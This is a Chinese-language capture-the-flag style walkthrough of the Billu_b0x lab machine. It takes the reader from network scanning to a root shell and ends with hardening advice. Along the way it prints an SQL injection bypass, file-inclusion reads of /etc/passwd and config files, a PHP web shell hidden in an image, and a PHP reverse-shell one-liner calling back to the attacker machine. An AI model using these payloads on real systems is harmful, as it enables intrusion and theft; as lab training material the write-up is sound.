1. 项目概述
Billu_b0x是一个经典的渗透测试靶机环境,主要用于网络安全学习和技能训练。这个靶机模拟了一个存在多种漏洞的Web应用系统,包含SQL注入、文件包含、文件上传、权限提升等典型安全风险点。通过实战演练,安全研究人员可以系统性地掌握Web应用渗透测试的基本流程和方法。
提示:本文所有操作均在本地授权环境中进行,仅供网络安全学习与研究使用。请严格遵守《网络安全法》及相关法律法规,切勿用于非法用途。
2. 环境准备
2.1 靶机部署
靶机镜像下载地址:
code复制https://download.vulnhub.com/billu/Billu_b0x.zip
部署步骤:
- 解压下载的ZIP文件
- 使用VMware或VirtualBox导入OVA文件
- 启动虚拟机并设置为桥接/NAT模式
- 确认靶机IP地址(通常为DHCP自动分配)
2.2 攻击机配置
建议使用Kali Linux作为攻击平台,预装以下工具:
- arp-scan:用于网络探测
- nmap:端口扫描和服务识别
- dirsearch:目录爆破工具
- Burp Suite:Web代理和攻击工具
- Netcat:网络调试和数据传输
3. 信息收集阶段
3.1 网络探测
首先需要确定靶机在本地网络中的IP地址。使用arp-scan扫描当前网段:
bash复制arp-scan -l
典型输出示例:
code复制Interface: eth0, type: EN10MB, MAC: 00:0c:29:24:a4:df, IPv4: 192.168.0.5
Starting arp-scan 1.10.0 with 256 hosts
192.168.0.1 00:50:56:c0:00:08 VMware, Inc.
192.168.0.2 00:50:56:f2:cf:16 VMware, Inc.
192.168.0.11 00:0c:29:5b:d7:72 VMware, Inc.
192.168.0.254 00:50:56:ec:95:c4 VMware, Inc.
通过MAC地址和响应特征可以识别出靶机IP为192.168.0.11。
3.2 端口扫描
使用nmap进行全端口扫描和服务识别:
bash复制nmap -sV -p- 192.168.0.11
扫描结果:
code复制PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
关键发现:
- 开放SSH服务(22端口)
- 运行Apache 2.2.22(80端口)
3.3 目录爆破
使用dirsearch进行Web目录扫描:
bash复制dirsearch -u http://192.168.0.11
重要发现:
- /add.php:用户添加功能
- /c:疑似配置文件
- /head.php:页面头部模板
- /images/:图片目录
- /panel.php:管理面板
- /phpmy/:phpMyAdmin管理界面
- /test.php:测试页面
4. 漏洞利用分析
4.1 初始访问尝试
访问首页http://192.168.0.11/显示登录界面,提示"Show me your SQLI skills",暗示存在SQL注入漏洞。
尝试使用万能密码:
code复制用户名:admin' or '1'='1
密码:任意
但注入失败,因为代码中对单引号进行了过滤。
4.2 文件包含漏洞利用
访问/test.php页面,发现可通过POST参数file实现文件包含:
bash复制curl -d "file=/etc/passwd" http://192.168.0.11/test
成功读取系统文件,确认存在文件包含漏洞。从/etc/passwd中发现存在用户ica。
4.3 代码审计与SQL注入绕过
通过文件包含读取index.php源码,发现关键过滤逻辑:
php复制$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
虽然过滤了单引号,但可以通过反斜杠转义绕过:
code复制用户名:or 1=1 #\
密码:or 1=1 #\
成功登录后进入管理面板。
4.4 数据库凭证获取
通过文件包含读取c.php文件,发现数据库连接信息:
php复制$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
使用这些凭证成功登录phpMyAdmin(http://192.168.0.11/phpmy/),在ica_lab数据库的auth表中找到管理员凭证:
code复制用户名:biLLu
密码:hEx_it
4.5 文件上传与远程代码执行
在管理面板中发现图片上传功能,上传包含PHP代码的图片文件:
code复制GIF89a
<?php system($_GET['a']); ?>
上传成功后,通过文件包含触发代码执行:
bash复制curl -d "file=/var/www/uploaded_images/shell.png" http://192.168.0.11/test?a=whoami
返回www-data,确认代码执行成功。
4.6 反弹Shell获取
构造反弹Shell命令并进行URL编码:
bash复制php -r '$sock=fsockopen("192.168.0.5",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
在攻击机监听6666端口:
bash复制nc -lvvp 6666
发送编码后的请求获取交互式Shell。
5. 权限提升
5.1 环境探查
获取Shell后首先升级为完整终端:
bash复制python -c 'import pty;pty.spawn("/bin/bash")'
检查sudo权限:
bash复制sudo -l
需要密码,暂时无法利用。
5.2 敏感信息收集
在/var/www/phpmy/config.inc.php中发现phpMyAdmin的root凭证:
php复制$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = 'roottoor';
5.3 特权提升
尝试使用发现的密码切换root用户:
bash复制su -
密码:roottoor
成功获取root权限:
bash复制id
uid=0(root) gid=0(root) groups=0(root)
6. 安全加固建议
6.1 漏洞修复方案
-
SQL注入防护:
- 使用预处理语句(PDO或mysqli_prepare)
- 实施严格的输入验证
- 避免直接拼接SQL查询
-
文件包含漏洞:
- 禁用allow_url_fopen和allow_url_include
- 使用白名单限制包含文件路径
- 避免使用用户输入作为文件路径
-
文件上传安全:
- 验证文件类型和内容
- 存储上传文件在Web根目录外
- 重命名上传文件并去除可执行权限
-
权限控制:
- 遵循最小权限原则
- 避免使用root运行Web服务
- 定期审计系统账户和权限
6.2 安全配置建议
-
服务加固:
- 升级Apache和PHP到最新版本
- 禁用不必要的PHP函数(system、exec等)
- 配置严格的php.ini安全设置
-
认证安全:
- 使用强密码策略
- 避免在配置文件中存储明文密码
- 实施多因素认证
-
日志监控:
- 启用详细的访问日志和错误日志
- 配置日志集中管理和分析
- 设置异常行为告警
7. 经验总结与思考
7.1 渗透测试方法论
通过本次实战可以总结出Web应用渗透的基本流程:
- 信息收集:网络扫描、服务识别
- 漏洞探测:自动化扫描+手动验证
- 漏洞利用:建立初始访问
- 权限提升:获取更高特权
- 后渗透:信息收集、横向移动
7.2 关键发现
- 多重漏洞组合利用往往能突破单一防御
- 配置文件和备份文件是敏感信息的重要来源
- 开发环境残留(如phpMyAdmin)常成为突破口
7.3 防御思考
- 纵深防御:不要依赖单一安全措施
- 安全开发:从编码阶段消除漏洞
- 持续监控:及时发现和响应入侵行为
重要提示:本文所有技术内容仅用于授权环境下的安全研究。未经授权的渗透测试行为可能违反法律法规。安全从业者应始终遵守职业道德和法律底线。